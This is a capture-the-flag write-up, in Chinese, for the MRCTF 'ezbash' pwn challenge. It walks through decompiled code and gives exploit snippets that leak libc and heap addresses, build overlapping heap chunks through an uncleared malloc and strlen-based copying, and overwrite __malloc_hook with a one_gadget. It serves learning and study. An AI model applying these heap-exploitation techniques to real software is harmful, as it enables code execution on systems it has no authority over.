# MRCTF pwn ezbash
拿到题目的时候,直接运行起来发现是一个文件系统,怀疑是不是一个 kernel 的题目,但是并没有给出内核文件,所以认定了就是一道堆题。这也是我坚持做下去的原因。
# 题目链接
https://github.com/dreamkecat/dreamkecat.github.io/tree/main/challenge/MRctf_ezbash
# 环境
1 2 3 4 5 6 7 dreamcat@ubuntu:~/Desktop/mrctf/ezbash$ strings libc.so.6 |grep ubuntu GNU C Library (Ubuntu GLIBC 2.31-0ubuntu9.7) stable release version 2.31. <https://bugs.launchpad.net/ubuntu/+source /glibc/+bugs>. dreamcat@ubuntu:~/Desktop/mrctf/ezbash$ checksec --file=ezbash RELRO STACK CANARY NX PIE RPATH RUNPATH Symbols FORTIFY Fortified Fortifiable FILE Full RELRO Canary found NX enabled PIE enabled No RPATH No RUNPATH No Symbols No 0 7 ezbash dreamcat@ubuntu:~/Desktop/mrctf/ezbash$
2.31 的题目,保护全开,八成就是堆题;
程序模拟了一个简单的文件系统,提供了 11 种命令,对于我们命令行的输出,程序会进行切片
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 dreamcat@ubuntu:~/Desktop/mrctf/ezbash$ ./ezbash hacker:/$ help Welcome to ezbash Just have fun here! The following are built in : cd ls echo cat touch rm mkdir cp pwd help exit hacker:/$
解决题目的第一个难点就是对于代码的审计,因为命令太多,相较于传统的菜单堆题,这道题提供的命令太多,导致分析题目需要很多时间。
# 解题过程
# 题目的整体把握
题目的所有文件的操作都是基于堆块,以及链表的数据结构
重要的结构体
1 2 3 4 5 6 7 8 9 10 00000000 file struc ; (sizeof =0x40 , mappedto_9)00000000 flag dd ?00000004 name db 16 dup(?) ; string (C)00000014 field_14 dd ?00000018 context dq ? ; offset00000020 prev_bro dq ? ; offset00000028 next_bro dq ? ; offset00000030 futher dq ? ; offset00000038 firstson dq ? ; offset00000040 file ends
整个体系中,其实概括 i 起来就是对于目录以及文件的操作,而这些对象都是基于 file 的结构体。flag 标志,对应的是目录(文件夹)或者文件,flag=0,表示的是文件夹,flag=1 表示的文件。文件夹中的所有子文件以及子文件夹都会通过一个双链表联系起来。file 的 firstson 会储存子文件链表的头指针。头节点的 prev_bro 和尾节点的 neat_bro 为 0,name16 字节的数组是 file 的名字,文件夹还会记录自己的父文件夹是的指针。文件则不会,但是文件会有一个特殊的 context 指针,指向另外一个堆块,用于储存写入文件的内容。
+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 _BYTE *readn () { int v1; int v2; int v3; _BYTE *ptr; v1 = 0x150 ; v2 = 0 ; ptr = malloc (0x150 uLL); if ( !ptr ) { fwrite("ezbash: allocation error\n" , 1uLL , 0x19 uLL, stderr ); exit (1 ); } while ( 1 ) { v3 = getchar(); if ( v3 == -1 || v3 == '\n' ) break ; ptr[v2++] = v3; if ( v2 >= v1 ) { v1 += 0x150 ; ptr = realloc (ptr, v1); if ( !ptr ) { fwrite("ezbash: allocation error\n" , 1uLL , 0x19 uLL, stderr ); exit (1 ); } } } ptr[v2] = 0 ; return ptr; }
对于我们输入的命令默认是存放在一个 0x161 的堆块,但是当我们输入的长度过长时,会调整堆块的大小,所以这里是不存在在溢出的,虽然结尾没有补零,但是每次都会被 v1=0x150 限制,没有溢出的利用。
对于每条命令,他的解析不是直接的匹配,而是会对数据进行切片的处理,如下,调用 strtok 库函数,会返回 delim 的前地址(代码中可能是由于 idapro 分析错误, i = strtok (0LL, "\t\r\n\a"),实际上会完全分析我们输入的命令,应该是 i = strtok (i, "\t\r\n\a"))这里会将我们的命令分解成操作命令,对象,对吧对应字符串的地址保存在另一个堆块里面。strtok 遇到空字符结束。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 _QWORD *__fastcall process (char *a1) { int v2; int v3; _QWORD *ptr; char *i; v2 = 64 ; v3 = 0 ; ptr = malloc (0x200 uLL); if ( !ptr ) { fwrite("ezbash: allocation error\n" , 1uLL , 0x19 uLL, stderr ); exit (1 ); } for ( i = strtok(a1, " \t\r\n\a" ); i; i = strtok(0LL , " \t\r\n\a" ) ) { ptr[v3++] = i; if ( v3 >= v2 ) { v2 += 0x40 ; ptr = realloc (ptr, 8LL * v2); if ( !ptr ) { fwrite("ezbash: allocation error\n" , 1uLL , 0x19 uLL, stderr ); exit (1 ); } } } ptr[v3] = 0LL ; return ptr; }
后面指令的实现都是通过保留的字符串指针分析比较的。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 __int64 __fastcall check (const char **cmd) { int i; if ( !*cmd ) return 1LL ; for ( i = 0 ; i < L11(); ++i ) { if ( !strcmp (*cmd, *(&list + i)) ) return (funcs[i])(cmd); } printf ("%s: command not found\n" , *cmd); return 0xFFFFFFFF LL; }
list 保存各个命令的名称进行比较,cmd 是处理后的保留字符串地址的 chunk。fucns 保存各个命令的函数的地址。
程序会使用 2 个全局变量记录我们的当前位置,一个是我们所在的文件夹的指针,一个是字符串记录的是从 home 到当前位置的路径的名字。
1 2 3 4 .bss:0000000000006140 cur_position_addr db 50 h dup (?) ; DATA XREF: apwd+10 ↑o .bss:0000000000006140 ; acd+10F ↑o ... .bss:0000000000006190 ; file *cuurr_pos .bss:0000000000006190 cuurr_pos dq ? ; DATA XREF: unlink:loc_15F0↑r
其实真正利用的命令没有多少,ls,pwd,help,exit,cd,cat,touch, 都没有漏洞的利用。
# ls
列出当前文件夹下的内容,或者以及子文件夹的内容,成灰只可以识别到以及子文件夹,对于 A/B, 成为程序人为这是一个 file 的名称,而不是一条路径。但是./A 是有效的,程序会识别./ 为当前目录。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 __int64 __fastcall als (const char **cmd, __int64 a2) { int v2; unsigned __int64 v3; void *v4; int v6; __int64 v7; size_t v8; int v9; __int64 v10[3 ]; const char **comment; char v12; int v13; int v14; int nums; int v16; file *v17; char *s1; file *v19; __int64 v20; __int64 v21; char *dest; char delim[2 ]; unsigned __int64 v24; comment = cmd; v24 = __readfsqword(0x28 u); v17 = cuurr_pos->firstson; v19 = cuurr_pos; v20 = 0LL ; v12 = 0 ; nums = 0 ; strcpy (delim, "/" ); while ( comment[++nums] ) { if ( strlen (comment[nums]) <= v14 ) v2 = v14; else v2 = strlen (comment[nums]) + 1 ; v14 = v2; } v21 = v14 - 1LL ; v10[0 ] = v14; v10[1 ] = 0LL ; v3 = 16 * ((v14 + 15LL ) / 0x10 uLL); while ( v10 != (v10 - (v3 & 0xFFFFFFFFFFFFF000 LL)) ) ; v4 = alloca(v3 & 0xFFF ); if ( (v3 & 0xFFF ) != 0 ) *(&v10[-1 ] + (v3 & 0xFFF )) = *(&v10[-1 ] + (v3 & 0xFFF )); dest = v10; v16 = nums - 1 ; if ( nums == 1 ) { info_ls(); return 1LL ; } nums = 1 ; LABEL_44: if ( nums <= v16 ) { v14 = strlen (comment[nums]); v13 = 0 ; strcpy (dest, comment[nums]); for ( s1 = strtok(dest, delim); ; s1 = strtok(0LL , delim) ) { if ( !s1 ) { LABEL_43: cuurr_pos = v19; ++nums; goto LABEL_44; } v17 = cuurr_pos->firstson; if ( !strcmp (s1, "." ) ) goto LABEL_16; if ( !strcmp (s1, off_4077) ) break ; v12 = findfile(&v17, s1); if ( v12 != 1 ) { fprintf (stderr , "ezbash: cannot access '%s': No such file or directory\n" , s1); goto LABEL_43; } if ( checkfile(v17) ) { v7 = v14; v8 = strlen (s1); if ( !strcmp (&dest[v7 - v8], s1) ) puts (v17->name); else fprintf (stderr , "ezbash: cannot access '%s': Not a directory\n" , comment[nums]); if ( v16 > 1 && nums < v16 ) putchar (10 ); goto LABEL_43; } if ( checkfolder(v17) ) { cuurr_pos = v17; v9 = strlen (s1); v13 += v9 + 1 ; } LABEL_32: if ( !comment[nums][v13 - 1 ] || comment[nums][v13 - 1 ] == 47 && !comment[nums][v13] ) { if ( v16 > 1 ) printf ("%s:\n" , comment[nums]); info_ls(); } if ( v16 > 1 && nums < v16 ) putchar (10 ); } if ( cuurr_pos->futher ) cuurr_pos = cuurr_pos->futher; LABEL_16: v6 = strlen (s1); v13 += v6 + 1 ; goto LABEL_32; } return 1LL ; }
讲真 ls 代码很长,但是没啥用,特别是那个 alloca,就是浪费时间。
# cd
cd 也是一个简单的跳到跳到某个目录下,实际就是更改下那两个变量,以及链表的遍历。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 __int64 __fastcall acd (char **cmd) { char v1; size_t v3; int len_name; const char *s1; file *pos; char delim[2 ]; unsigned __int64 v8; v8 = __readfsqword(0x28 u); if ( cmd[1 ] ) { if ( cmd[2 ] ) { fwrite("ezbash: too many arguments\n" , 1uLL , 0x1B uLL, stderr ); } else { strcpy (delim, "/" ); for ( s1 = strtok(cmd[1 ], delim); s1; s1 = strtok(0LL , delim) ) { if ( strcmp (s1, "." ) ) { if ( !strcmp (s1, off_4077) ) { if ( cuurr_pos->futher ) { len_name = strlen (cuurr_pos->name); cur_position_addr[(strlen (cur_position_addr) - 1 - len_name)] = 0 ; cuurr_pos = cuurr_pos->futher; } } else { pos = cuurr_pos->firstson; ((&check_error + 1 ))(); if ( v1 ) { fprintf (stderr , "ezbash: %s: No such file or directory\n" , s1); return 1LL ; } while ( pos && strcmp (pos->name, s1) ) pos = pos->next_bro; if ( !checkfolder(pos) ) { fwrite("something wrong happened\n" , 1uLL , 0x19 uLL, stderr ); return 1LL ; } cuurr_pos = pos; v3 = strlen (cur_position_addr); if ( v3 + strlen (pos->name) <= 0x50 ) { strcat (cur_position_addr, pos->name); *&cur_position_addr[strlen (cur_position_addr)] = '/' ; } } } } } } else { fwrite("ezbash: expected argument\n" , 1uLL , 0x1A uLL, stderr ); } return 1LL ; }
# cat
cat 会输出文件中的数据,采用的是 puts,只会输出字符串。为实现 cat 重定向到文件
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 __int64 __fastcall acat (char **cmd) { unsigned __int64 v1; void *v2; _BYTE v4[8 ]; char **comment; char v6; int v7; int num; file *v9; __int64 v10; char *dest; unsigned __int64 v12; comment = cmd; v12 = __readfsqword(0x28 u); num = 0 ; v6 = 0 ; v7 = 0 ; v9 = 0LL ; while ( comment[++num] ) { if ( strlen (comment[num]) > v7 ) v7 = strlen (comment[num]) + 1 ; } v10 = v7 - 1LL ; v1 = 16 * ((v7 + 15LL ) / 0x10 uLL); while ( v4 != &v4[-(v1 & 0xFFFFFFFFFFFFF000 LL)] ) ; v2 = alloca(v1 & 0xFFF ); if ( (v1 & 0xFFF ) != 0 ) *&v4[(v1 & 0xFFF ) - 8 ] = *&v4[(v1 & 0xFFF ) - 8 ]; dest = v4; num = 1 ; if ( !comment[1 ] ) fwrite("ezbash: missing operand\n" , 1uLL , 0x18 uLL, stderr ); while ( comment[num] ) { v9 = cuurr_pos->firstson; strcpy (dest, comment[num]); while ( v9 ) { if ( !strcmp (dest, v9->name) ) { if ( v9->context ) puts (v9->context); v6 = 1 ; break ; } v9 = v9->next_bro; } if ( v6 != 1 ) fprintf (stderr , "ezbash: %s: No such file or directory\n" , comment[num]); ++num; } return 1LL ; }
# pwd
仅仅只是输出当前的路径
1 2 3 4 5 __int64 apwd () { puts (cur_position_addr); return 1LL ; }
# exit,help
没什么可以说的。
# mkdir
在当前的目录下创建一个字目录,并把她 link 进 firstson 的链表,采用的是头插法。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 __int64 __fastcall amkdir (char **cmd) { char v1; char v3[2 ]; int v4; file *first_son; file *newfile; v4 = 1 ; qmemcpy(v3, "./" , sizeof (v3)); if ( !cmd[1 ] ) fwrite("ezbash: missing operand\n" , 1uLL , 0x18 uLL, stderr ); while ( cmd[v4] ) { first_son = cuurr_pos->firstson; if ( strchr (cmd[v4], v3[0 ]) ) { ++v4; } else if ( strchr (cmd[v4], v3[1 ]) ) { ++v4; } else { ((&check_error + 1 ))(); if ( v1 != 1 ) { fprintf (stderr , aEzbashCannotCr, cmd[v4++]); } else { newfile = calloc40(); newfile->flag = 0 ; newfile->futher = cuurr_pos; copy_name(newfile, cmd[v4]); if ( cuurr_pos->firstson ) link(first_son, newfile); else cuurr_pos->firstson = newfile; ++v4; } } } return 1LL ; }
# touch
创建一个空文件,与 mkdir 的操作类似
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 __int64 __fastcall atouch (char **cmd) { char v1; char v3[2 ]; int v4; file *v5; file *v6; v4 = 1 ; qmemcpy(v3, "./" , sizeof (v3)); if ( !cmd[1 ] ) fwrite("ezbash: missing operand\n" , 1uLL , 0x18 uLL, stderr ); while ( cmd[v4] ) { if ( strchr (cmd[v4], v3[0 ]) ) { ++v4; } else if ( strchr (cmd[v4], v3[1 ]) ) { ++v4; } else { v5 = cuurr_pos->firstson; ((&check_error + 1 ))(); if ( v1 != 1 ) { ++v4; } else { v6 = calloc40(); v6->flag = 1 ; copy_name(v6, cmd[v4]); if ( cuurr_pos->firstson ) link(v5, v6); else cuurr_pos->firstson = v6; ++v4; } } } return 1LL ; }
mkdir 与 touch 创建新的 file 的时候,调用 calloc40,这个其实就是模拟了 calloc
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 file *malloc40 () { file *v1; v1 = malloc (0x40 uLL); memset (v1->name, 0 , sizeof (v1->name)); v1->context = 0LL ; v1->firstson = 0LL ; v1->next_bro = 0LL ; v1->prev_bro = 0LL ; v1->futher = 0LL ; return v1; } file *__fastcall link (file *curr, file *aim) { file *result; while ( curr->next_bro ) curr = curr->next_bro; curr->next_bro = aim; result = aim; aim->prev_bro = curr; return result; }
这也导致了,后面泄露地址有点困难。两个命令支持在当前目录下一次创建多个对象
# rm
rm 可以进行两种操作,直接删除文件,或者 - r 参数删除文件夹,但是都只是当前目录下的对象。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 __int64 __fastcall arm (char **cmd) { char v2; int v3; file *file; file *ptr; v3 = 1 ; if ( !cmd[1 ] ) fwrite("ezbash: missing operand\n" , 1uLL , 0x18 uLL, stderr ); while ( cmd[v3] ) { file = cuurr_pos->firstson; v2 = 0 ; if ( !strcmp (cmd[v3], "-r" ) ) { if ( cmd[++v3] ) { while ( file ) { if ( !strcmp (file->name, cmd[v3]) ) { v2 = 1 ; if ( !checkfolder(file) ) { fprintf (stderr , "ezbash -r: cannot remove '%s': Is a file\n" , cmd[v3]); goto LABEL_26; } memset (file->name, 0 , sizeof (file->name)); file->futher = 0LL ; if ( file->firstson ) { ptr = file->firstson; do { if ( ptr->context ) free (ptr->context); free (ptr); ptr = ptr->next_bro; } while ( ptr ); } goto LABEL_14; } file = file->next_bro; } goto LABEL_26; } ++v3; } else { while ( file ) { if ( !strcmp (file->name, cmd[v3]) ) { v2 = 1 ; if ( checkfile(file) ) { memset (file->name, 0 , sizeof (file->name)); if ( file->context ) { free (file->context); file->context = 0LL ; } LABEL_14: unlink(file); } else { fprintf (stderr , "ezbash: '%s': Is a directory\n" , cmd[v3]); } break ; } file = file->next_bro; } LABEL_26: if ( v2 != 1 ) fprintf (stderr , "ezbash: '%s': No such file or directory\n" , cmd[v3]); ++v3; } } void __fastcall unlink (file *a1) { if ( a1->next_bro ) a1->next_bro->prev_bro = a1->prev_bro; if ( a1->prev_bro ) a1->prev_bro->next_bro = a1->next_bro; else cuurr_pos->firstson = a1->next_bro; a1->next_bro = 0LL ; a1->prev_bro = 0LL ; free (a1); }
只可以堆当前目录的对象进行操作。当删除的目录下有子目录 x,不会破坏 x 的子文件链表结构,这里看似存在 uaf 名单时册灰姑娘徐每次创建 file 都会清空,所以无法利用。checkfile 以及 checkfolder 分别检查对象是文件还是文件夹。-r 不可删除文件。unlink 的操作也没有什么问题,
# echo
echo 支持两种操作,一个是将内容直接输出,一个是根据倒数第二个参数是否为 “->” 决定,不是,就直接输出,否则,就会将数据写进指定的 file。强调,一定是倒数第二参数。其他一律认为是内容,字符串不存在空格,是写进 context 的时候额外加入的。另外,echo 不可以将空字符写入。而且也不会在
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 __int64 __fastcall aecho (char **cmd) { __int64 result; size_t size; file *v3; file *v4; size_t v5; int v6; int i; int j; int chunksize; int textlen; int argv_nums; file *file; const char *filename; unsigned __int64 v14; v14 = __readfsqword(0x28 u); v6 = 0 ; if ( cmd[1 ] ) { do ++v6; while ( cmd[v6] ); argv_nums = v6 - 1 ; if ( tofile(cmd[v6 - 2 ]) ) { for ( i = 1 ; i < argv_nums; ++i ) printf ("%s " , cmd[i]); puts (cmd[argv_nums]); result = 1LL ; } else { file = cuurr_pos->firstson; filename = cmd[argv_nums]; if ( findfile(&file, filename) != 1 ) { fprintf (stderr , "ezbash: %s: No such file\n" , filename); result = 1LL ; } else if ( checkfile(file) ) { textlen = 0 ; if ( file->context ) { size = get_chunk_size(file->context); memset (file->context, 0 , size); } for ( j = 1 ; j < argv_nums - 1 ; ++j ) { if ( file->context ) { chunksize = get_chunk_size(file->context); } else { chunksize = 0x150 ; v3 = file; v3->context = malloc (0x150 uLL); memset (file->context, 0 , 0x150 uLL); } textlen += strlen (cmd[j]) + 2 ; while ( textlen >= chunksize ) chunksize += 0x150 ; if ( chunksize > get_chunk_size(file->context) ) { v4 = file; v4->context = realloc (file->context, chunksize); } v5 = strlen (cmd[j]); strncat (file->context, cmd[j], v5); if ( j < argv_nums - 2 ) *(file->context + strlen (file->context)) = ' ' ; } result = 1LL ; } else { fprintf (stderr , "ezbash: %s: Is a directory\n" , filename); result = 1LL ; } } } else { putchar (10 ); result = 1LL ; } return result; }
每次 echo,都会清空 context 的内容,而且是跟据 chunksize 清空的。并且如果写的数据大于等于 chunksize-2 就会把 context 调大。而且注意。
# cp
整个程序攻击的开始就是在 cp,cp 可以拷贝当前目录下的文件,一个是把他的内容拷贝到当前目录下的另一个文件里,起一个是拷贝到子文件夹下的文件里,如果指定的文件不存在,会自动创建。但是佟阿姨那个调用的是 calloc40,所以没有 uaf。问题在于对 context 的复制,目标文件没有 context 指针,会申请一个,重点来了,这里用的是 malloc,而且不会清空。如果我们要拷贝的文件没有 context,会把对应的目标文件的 context free。或者直接创建一个新的空文件。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 203 204 205 206 207 208 209 210 211 212 213 214 215 216 217 218 219 220 221 222 223 224 225 226 227 228 229 __int64 __fastcall acp (char **cmd) { unsigned __int64 v1; void *v2; __int64 v4; size_t v5; __int64 v6[3 ]; char **comment; char v8; char v9; char v10; int i; int nums; int v13; file *list ; file *destination; file *copied_file; char *s1; file *curops; file *ptr; __int64 v20; char *dest; file *curr; file *temp; char delim[2 ]; unsigned __int64 v25; comment = cmd; v25 = __readfsqword(0x28 u); i = 0 ; list = cuurr_pos->firstson; curops = cuurr_pos; destination = cuurr_pos->firstson; copied_file = 0LL ; ptr = 0LL ; v8 = 0 ; v9 = 0 ; strcpy (delim, "/" ); do ++i; while ( comment[i] ); nums = i - 1 ; v13 = strlen (comment[i - 1 ]); v20 = v13 + 1 - 1LL ; v6[0 ] = v13 + 1 ; v6[1 ] = 0LL ; v1 = 16 * ((v6[0 ] + 15 ) / 0x10 uLL); while ( v6 != (v6 - (v1 & 0xFFFFFFFFFFFFF000 LL)) ) ; v2 = alloca(v1 & 0xFFF ); if ( (v1 & 0xFFF ) != 0 ) *(&v6[-1 ] + (v1 & 0xFFF )) = *(&v6[-1 ] + (v1 & 0xFFF )); dest = v6; if ( nums == 1 ) { fprintf (stderr , "ezbash: missing destination file operand after '%s'\n" , comment[1 ]); return 1LL ; } strcpy (dest, comment[nums]); for ( s1 = strtok(dest, delim); ; s1 = strtok(0LL , delim) ) { if ( !s1 ) { for ( i = 1 ; i < nums; ++i ) { copied_file = curops->firstson; v9 = findfile(&copied_file, comment[i]); if ( v9 != 1 || !checkfile(copied_file) ) { fprintf (stderr , "ezbash: cannot stat '%s': No such file or directory\n" , comment[i]); } else { destination = cuurr_pos->firstson; v8 = findfile(&destination, comment[i]); if ( v8 ) { copy(copied_file, destination); cuurr_pos = curops; } else { curr = cuurr_pos->firstson; temp = calloc40(); temp->flag = 1 ; copy_name(temp, copied_file->name); if ( copied_file->context ) copycontext(copied_file, temp); else temp->context = 0LL ; if ( curr ) link(curr, temp); else cuurr_pos->firstson = temp; } } } cuurr_pos = curops; return 1LL ; } v10 = 0 ; if ( strcmp (s1, "." ) ) break ; LABEL_32: ; } if ( !strcmp (s1, off_4077) ) { cuurr_pos = cuurr_pos->futher; goto LABEL_32; } list = cuurr_pos->firstson; v10 = findfile(&list , s1); if ( nums > 2 ) { if ( v10 != 1 || !checkfolder(list ) ) { fprintf (stderr , "ezbash: target '%s' is not a directory\n" , comment[nums]); cuurr_pos = curops; return 1LL ; } cuurr_pos = list ; goto LABEL_32; } if ( nums != 2 ) goto LABEL_32; v4 = v13; v5 = strlen (s1); if ( strcmp (&dest[v4 - v5], s1) ) goto LABEL_32; copied_file = curops->firstson; destination = curops->firstson; v9 = findfile(&copied_file, comment[1 ]); if ( v9 != 1 ) { fprintf (stderr , "ezbash: cannot stat '%s': No such file or directory\n" , comment[1 ]); cuurr_pos = curops; return 1LL ; } if ( !checkfile(copied_file) ) { fprintf (stderr , "ezbash: -r not specified; omitting directory '%s'\n" , comment[1 ]); cuurr_pos = curops; return 1LL ; } v8 = findfile(&destination, s1); if ( v8 == 1 ) { if ( checkfolder(destination) ) { cuurr_pos = destination; } else if ( checkfile(destination) ) { copy(copied_file, destination); cuurr_pos = curops; return 1LL ; } goto LABEL_32; } ptr = calloc40(); ptr->flag = 1 ; copy_name(ptr, comment[2 ]); if ( copied_file->context ) copycontext(copied_file, ptr); link(cuurr_pos->firstson, ptr); cuurr_pos = curops; return 1LL ; } char *__fastcall copy (file *src, file *des) { char *result; file *dest; int v4; int v5; dest = des; result = src; if ( src != des && (src->context || (result = des->context) != 0LL ) ) { if ( src->context || !des->context ) { if ( src->context && des->context ) { v4 = strlen (src->context); v5 = strlen (des->context); if ( v4 > v5 ) { dest = realloc (des->context, v4 + 1 ); memset (dest->context, 0 , v4 + 1 ); } else { memset (des->context, 0 , v5); } result = strncpy (dest->context, src->context, v4); } else { result = src->context; if ( result ) { result = des->context; if ( !result ) result = copycontext(src, des); } } } else { free (des->context); result = des; des->context = 0LL ; } } return result; } char *__fastcall copycontext (file *src, file *dest) { int v3; v3 = strlen (src->context); dest->context = malloc (v3); memset (dest->context, 0 , v3); return strncpy (dest->context, src->context, v3); }
这里 echo 是的我们的 context 大小是固定的,但是这里我们可以 malloc 指定的大小,大小根据我们拷问的文件内容的长度计算。另外一点,cp 不会向目标额外写入空字符。
# 泄露 libc 地址
这是一个很无语的过程,因为 echo 的话,一定会清空数据。所以就是利用 cp,把 unsortedbins 的 chunk 申请出来,因为 copycontext 不会清空 chunk。所以我们申请一个 0x8,因为不会写入空字符,就可以把 unsortedbins 申请出来的堆块的前八字节覆盖,到那时保留了 bk 指针,同时也跟前八字节组成新的字符串。这样就泄露了 libc 的地址。为了方便,我们把要拷贝的文件的 context 的 chunksize 写大一点,后面会比较方便。入下面的 cccc 文件,context 的 chunksize=0x551
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 mkdir(b"AAAA" ) touch(b'cccc' ) touch(b'dddd' ) cd(b"AAAA" ) touch(b"BBBB" ) echo(b'a' *0x3f2 ,b"BBBB" ) cd(b"../" ) echo(b'c' *0x3f0 ,b"cccc" ) echo(b'd' *8 ,b'dddd' ) cp(b'dddd' ,b'AAAA' ) cd(b"AAAA" ) cat(b'dddd' ) r.recvuntil(b'd' *8 ) libcbase = u64(r.recv(6 ).ljust(8 ,b'\x00' ))-0x3ebca0 +0x1ff0c0 print ("libcbase : " ,hex (libcbase))malloc_hook = libcbase + 0x1ecb70 -0x23
# 泄露堆地址
有了上面的思路,泄露堆地址也很容易,glibc2.31 存在 tchche, 拷贝一字节,就可以申请一个 0x20 的 chunk,所以提前布局 2 个 0x20 的 chunk. 申请到的 tache chunk 的 fd 就不为空,我们只需要低位的几个字节就可以,我布局的两个 chunk 很近,我只要覆盖最低字节。然后就泄露了堆地址。值得一提的是,2.31 的 tcache 的 bk 指针指向 tcache,但是申请出来的时候,会自动清空 bk。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 cd(b'../' ) mkdir(b'ii' ) cp(b'dddd' ,b'ii' ) rmv(0 ,b'ii' ) cd(b"AAAA" ) rmv(1 ,b'dddd' ) gdb.attach(r) cd(b'../' ) echo(b'\x70' ,b'dddd' ) cp(b'dddd' ,b'AAAA' ) gdb.attach(r) cd(b"AAAA" ) cat(b'dddd' ) r.recv() heap_addr = u64(r.recv(6 ).ljust(8 ,b'\x00' )) - 0x001470
# 最后的攻击
现在 libc 的地址有了,如何实现任意地址写,因为保护全开,优先考虑了 malloc_hook + onegadget 的攻击
问题来了,如何实现任意地址写?unlink 的攻击无法布局 fakechunk (因为地址只有 6 字节,我们只能写入一个地址)。
基本的攻击手法必要前提在哪里,溢出,UAF,
任意地址写,要么我们拿到任意地址的 fakechunk,要么修改文件的 context 的指针,然后 echo 或者 cp。
我们伪造一个 fakechunk 的可能性不大,所以我们要修改 context 指针。这样的话,没有 uaf,那就考虑 overlap。
关键点来了
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 if ( src->context || !des->context ) { if ( src->context && des->context ) { v4 = strlen (src->context); v5 = strlen (des->context); if ( v4 > v5 ) { dest = realloc (des->context, v4 + 1 ); memset (dest->context, 0 , v4 + 1 ); } else { memset (des->context, 0 , v5); } result = strncpy (dest->context, src->context, v4); } else { result = src->context; if ( result ) { result = des->context; if ( !result ) result = copycontext(src, des); } } }
echo 是检查 chunksize, 这里用 strlen,我们 echo 以及 cp 都不会在末尾强行补一个空字符,如果我们申请的 0x28,那么我们就可以填满 chunk 的用户空间,而且数据会与下一个堆块的 chunksize 来年再一个,只要 v4=v5, 就可以修改 chunksize,把后面的 chunk 包含进去。
我们把文件部署在 actim 后面,0x51 就是我们的文件,
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 malloc(0x130 ,b'2' ) malloc(0x120 ,b'3' ) malloc(0x130 ,b'5' ) malloc(0x1 ,b'6' ) touch(b'mmmm' ) dbg() malloc(0x68 ,b'1' ,b'\x51\x04' ) free(b'2' ) dbg() mkdir(b'dir' ) malloc(0x70 ,b'dir' ) mkdir(b'dir2' ) mkdir(b'dir3' ) malloc(0 ,b'dir3' ) print ("malloc_hook : " ,hex (malloc_hook))print (p64(malloc_hook))pad = p64(malloc_hook) print (pad[0 :6 ])print (pad[5 :7 ])malloc(0x8 ,b'dir2' ,pad[0 :6 ]) dbg() pad = p64(onegadget) echo(b'a' *(0x23 )+pad[0 :6 ],b'5' )
修改后
你只能写入一个地址,context 在 chunk 的第四个 8 字节位置,我们要向改掉,申请堆块就要拿到 chunk+0x10 的 chunk
这里就是我们的 5 那个文件。我们目标是申请到她 + 0x10 的 chunk
同时我们已经将 malloc_hook-0x23 的地址写到了对应的 context 指针位置,我们下 main 只需要对他进行编辑
